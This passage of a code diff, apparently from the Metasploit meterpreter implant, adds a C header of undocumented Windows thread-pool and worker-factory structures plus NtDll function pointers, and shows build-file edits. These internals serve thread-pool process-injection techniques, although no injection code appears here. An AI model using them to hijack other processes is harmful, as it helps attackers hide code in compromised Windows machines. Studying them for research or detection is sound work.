FILE_INFOCLASS +{ + FileReplaceCompletionInformation = 61 +}; + +enum PROCESS_INFOCLASS +{ + ProcessHandleInformation = 51 +}; + +typedef enum _WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout, + WorkerFactoryRetryTimeout, + WorkerFactoryIdleTimeout, + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, + WorkerFactoryThreadMaximum, + WorkerFactoryPaused, + WorkerFactoryBasicInformation, + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, // 10 + WorkerFactoryThreadBasePriority, + WorkerFactoryTimeoutWaiters, // since THRESHOLD + WorkerFactoryFlags, + WorkerFactoryThreadSoftMaximum, + MaxWorkerFactoryInfoClass +} _WORKERFACTORYINFOCLASS; + +// ---------// +// Structs // +// --------// + +typedef struct _TP_TASK_CALLBACKS +{ + void* ExecuteCallback; + void* Unposted; +} TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS; + +typedef struct _TP_TASK +{ + struct _TP_TASK_CALLBACKS* Callbacks; + UINT32 NumaNode; + UINT8 IdealProcessor; + char Padding_242[3]; + struct _LIST_ENTRY ListEntry; +} TP_TASK, * PTP_TASK; + +typedef struct _TPP_REFCOUNT +{ + volatile INT32 Refcount; +} TPP_REFCOUNT, * PTPP_REFCOUNT; + +typedef struct _TPP_CALLER +{ + void* ReturnAddress; +} TPP_CALLER, * PTPP_CALLER; + +typedef struct _TPP_PH +{ + struct _TPP_PH_LINKS* Root; +} TPP_PH, * PTPP_PH; + +typedef struct _TP_DIRECT +{ + struct _TP_TASK Task; + UINT64 Lock; + struct _LIST_ENTRY IoCompletionInformationList; + void* Callback; + UINT32 NumaNode; + UINT8 IdealProcessor; + char __PADDING__[3]; +} TP_DIRECT, * PTP_DIRECT; + +typedef struct _TPP_TIMER_SUBQUEUE +{ + INT64 Expiration; + struct _TPP_PH WindowStart; + struct _TPP_PH WindowEnd; + void* Timer; + void* TimerPkt; + struct _TP_DIRECT Direct; + UINT32 ExpirationWindow; + INT32 __PADDING__[1]; +} TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE; + +typedef struct _TPP_TIMER_QUEUE +{ + struct _RTL_SRWLOCK Lock; + struct _TPP_TIMER_SUBQUEUE AbsoluteQueue; + struct _TPP_TIMER_SUBQUEUE RelativeQueue; + INT32 AllocatedTimerCount; + INT32 __PADDING__[1]; +} TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE; + +typedef struct _TPP_NUMA_NODE +{ + INT32 WorkerCount; +} TPP_NUMA_NODE, * PTPP_NUMA_NODE; + +typedef union _TPP_POOL_QUEUE_STATE +{ + union + { + INT64 Exchange; + struct + { + INT32 RunningThreadGoal : 16; + UINT32 PendingReleaseCount : 16; + UINT32 QueueLength; + }; + }; +} TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE; + +typedef struct _TPP_QUEUE +{ + struct _LIST_ENTRY Queue; + struct _RTL_SRWLOCK Lock; +} TPP_QUEUE, * PTPP_QUEUE; + +typedef struct _FULL_TP_POOL +{ + struct _TPP_REFCOUNT Refcount; + long Padding_239; + union _TPP_POOL_QUEUE_STATE QueueState; + struct _TPP_QUEUE* TaskQueue[3]; + struct _TPP_NUMA_NODE* NumaNode; + struct _GROUP_AFFINITY* ProximityInfo; + void* WorkerFactory; + void* CompletionPort; + struct _RTL_SRWLOCK Lock; + struct _LIST_ENTRY PoolObjectList; + struct _LIST_ENTRY WorkerList; + struct _TPP_TIMER_QUEUE TimerQueue; + struct _RTL_SRWLOCK ShutdownLock; + UINT8 ShutdownInitiated; + UINT8 Released; + UINT16 PoolFlags; + long Padding_240; + struct _LIST_ENTRY PoolLinks; + struct _TPP_CALLER AllocCaller; + struct _TPP_CALLER ReleaseCaller; + volatile INT32 AvailableWorkerCount; + volatile INT32 LongRunningWorkerCount; + UINT32 LastProcCount; + volatile INT32 NodeStatus; + volatile INT32 BindingCount; + UINT32 CallbackChecksDisabled : 1; + UINT32 TrimTarget : 11; + UINT32 TrimmedThrdCount : 11; + UINT32 SelectedCpuSetCount; + long Padding_241; + struct _RTL_CONDITION_VARIABLE TrimComplete; + struct _LIST_ENTRY TrimmedWorkerList; +} FULL_TP_POOL, * PFULL_TP_POOL; + +typedef struct _ALPC_WORK_ON_BEHALF_TICKET +{ + UINT32 ThreadId; + UINT32 ThreadCreationTimeLow; +} ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET; + +typedef union _TPP_WORK_STATE +{ + union + { + INT32 Exchange; + UINT32 Insertable : 1; + UINT32 PendingCallbackCount : 31; + }; +} TPP_WORK_STATE, * PTPP_WORK_STATE; + +typedef struct _TPP_ITE_WAITER +{ + struct _TPP_ITE_WAITER* Next; + void* ThreadId; +} TPP_ITE_WAITER, * PTPP_ITE_WAITER; + +typedef struct _TPP_PH_LINKS +{ + struct _LIST_ENTRY Siblings; + struct _LIST_ENTRY Children; + INT64 Key; +} TPP_PH_LINKS, * PTPP_PH_LINKS; + +typedef struct _TPP_ITE +{ + struct _TPP_ITE_WAITER* First; +} TPP_ITE, * PTPP_ITE; + +typedef union _TPP_FLAGS_COUNT +{ + union + { + UINT64 Count : 60; + UINT64 Flags : 4; + INT64 Data; + }; +} TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT; + +typedef struct _TPP_BARRIER +{ + volatile union _TPP_FLAGS_COUNT Ptr; + struct _RTL_SRWLOCK WaitLock; + struct _TPP_ITE WaitList; +} TPP_BARRIER, * PTPP_BARRIER; + +typedef struct _TP_CLEANUP_GROUP +{ + struct _TPP_REFCOUNT Refcount; + INT32 Released; + struct _RTL_SRWLOCK MemberLock; + struct _LIST_ENTRY MemberList; + struct _TPP_BARRIER Barrier; + struct _RTL_SRWLOCK CleanupLock; + struct _LIST_ENTRY CleanupList; +} TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP; + + +typedef struct _TPP_CLEANUP_GROUP_MEMBER +{ + struct _TPP_REFCOUNT Refcount; + long Padding_233; + const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs; + struct _TP_CLEANUP_GROUP* CleanupGroup; + void* CleanupGroupCancelCallback; + void* FinalizationCallback; + struct _LIST_ENTRY CleanupGroupMemberLinks; + struct _TPP_BARRIER CallbackBarrier; + union + { + void* Callback; + void* WorkCallback; + void* SimpleCallback; + void* TimerCallback; + void* WaitCallback; + void* IoCallback; + void* AlpcCallback; + void* AlpcCallbackEx; + void* JobCallback; + }; + void* Context; + struct _ACTIVATION_CONTEXT* ActivationContext; + void* SubProcessTag; + struct _GUID ActivityId; + struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket; + void* RaceDll; + FULL_TP_POOL* Pool; + struct _LIST_ENTRY PoolObjectLinks; + union + { + volatile INT32 Flags; + UINT32 LongFunction : 1; + UINT32 Persistent : 1; + UINT32 UnusedPublic : 14; + UINT32 Released : 1; + UINT32 CleanupGroupReleased : 1; + UINT32 InCleanupGroupCleanupList : 1; + UINT32 UnusedPrivate : 13; + }; + long Padding_234; + struct _TPP_CALLER AllocCaller; + struct _TPP_CALLER ReleaseCaller; + enum _TP_CALLBACK_PRIORITY CallbackPriority; + INT32 __PADDING__[1]; +} TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER; + +typedef struct _FULL_TP_WORK +{ + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + struct _TP_TASK Task; + volatile union _TPP_WORK_STATE WorkState; + INT32 __PADDING__[1]; +} FULL_TP_WORK, * PFULL_TP_WORK; + +typedef struct _FULL_TP_TIMER +{ + struct _FULL_TP_WORK Work; + struct _RTL_SRWLOCK Lock; + union + { + struct _TPP_PH_LINKS WindowEndLinks; + struct _LIST_ENTRY ExpirationLinks; + }; + struct _TPP_PH_LINKS WindowStartLinks; + INT64 DueTime; + struct _TPP_ITE Ite; + UINT32 Window; + UINT32 Period; + UINT8 Inserted; + UINT8 WaitTimer; + union + { + UINT8 TimerStatus; + UINT8 InQueue : 1; + UINT8 Absolute : 1; + UINT8 Cancelled : 1; + }; + UINT8 BlockInsert; + INT32 __PADDING__[1]; +} FULL_TP_TIMER, * PFULL_TP_TIMER; + +typedef struct _FULL_TP_WAIT +{ + struct _FULL_TP_TIMER Timer; + void* Handle; + void* WaitPkt; + void* NextWaitHandle; + union _LARGE_INTEGER NextWaitTimeout; + struct _TP_DIRECT Direct; + union + { + union + { + UINT8 AllFlags; + UINT8 NextWaitActive : 1; + UINT8 NextTimeoutActive : 1; + UINT8 CallbackCounted : 1; + UINT8 Spare : 5; + }; + } WaitFlags; + char __PADDING__[7]; +} FULL_TP_WAIT, * PFULL_TP_WAIT; + +typedef struct _FULL_TP_IO +{ + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + struct _TP_DIRECT Direct; + void* File; + volatile INT32 PendingIrpCount; + INT32 __PADDING__[1]; +} FULL_TP_IO, * PFULL_TP_IO; + +typedef struct _FULL_TP_ALPC +{ + struct _TP_DIRECT Direct; + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + void* AlpcPort; + INT32 DeferredSendCount; + INT32 LastConcurrencyCount; + union + { + UINT32 Flags; + UINT32 ExTypeCallback : 1; + UINT32 CompletionListRegistered : 1; + UINT32 Reserved : 30; + }; + INT32 __PADDING__[1]; +} FULL_TP_ALPC, * PFULL_TP_ALPC; + +typedef struct _FULL_TP_JOB +{ + struct _TP_DIRECT Direct; + struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; + void* JobHandle; + union + { + volatile long long CompletionState; + long long Rundown : 1; + long long CompletionCount : 63; + }; + struct _RTL_SRWLOCK RundownLock; +} FULL_TP_JOB, * PFULL_TP_JOB; + +typedef VOID(NTAPI* PTP_ALPC_CALLBACK)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PFULL_TP_ALPC Alpc + ); + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS ( \ + STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN \ +) + +// -----------// +// Structures // +// ----------// + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION +{ + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + ULONG ReleaseCount; + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + HANDLE ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; + +typedef struct NtDll { + NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); + NTSTATUS(NTAPI* pNtQueryObject)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG); + + NTSTATUS(NTAPI* pZwAssociateWaitCompletionPacket)(HANDLE, HANDLE, HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR, PBOOLEAN); + NTSTATUS(NTAPI* pZwSetIoCompletion)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR); + + + NTSTATUS(NTAPI* pNtQueryInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG, PULONG); + NTSTATUS(NTAPI* pNtSetInformationWorkerFactory)(HANDLE, _WORKERFACTORYINFOCLASS, PVOID, ULONG); + + //NTSTATUS(NTAPI* pZwSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, ULONG); + //NTSTATUS(NTAPI* pNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES); + //NTSTATUS(NTAPI* pNtAlpcSetInformation)(HANDLE, ULONG, PVOID, ULONG); + //NTSTATUS(NTAPI* pNtAlpcConnectPort)(PHANDLE, PUNICODE_STRING, POBJECT_ATTRIBUTES, PALPC_PORT_ATTRIBUTES, DWORD, PSID, PPORT_MESSAGE, PSIZE_T, PALPC_MESSAGE_ATTRIBUTES, PALPC_MESSAGE_ATTRIBUTES, PLARGE_INTEGER); + //NTSTATUS(NTAPI* pRtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN); + //NTSTATUS(NTAPI* pNtSetTimer2)(HANDLE, PLARGE_INTEGER, PLARGE_INTEGER, PT2_SET_PARAMETERS); + + //NTSTATUS(NTAPI* pNtTpAllocAlpcCompletion)(PVOID, HANDLE, PVOID, PVOID, PVOID); + //NTSTATUS(NTAPI* pTpAllocJobNotification)(PVOID, HANDLE, PVOID, PVOID, PVOID); + +} NtDll; +#endif \ No newline at end of file diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index f08b1b983..6bb15169c 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -567,6 +567,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + + @@ -596,6 +598,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 31fe6945c..4f02ec4a1 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -25,6 +25,8 @@ + + @@ -54,6 +56,7 @@ +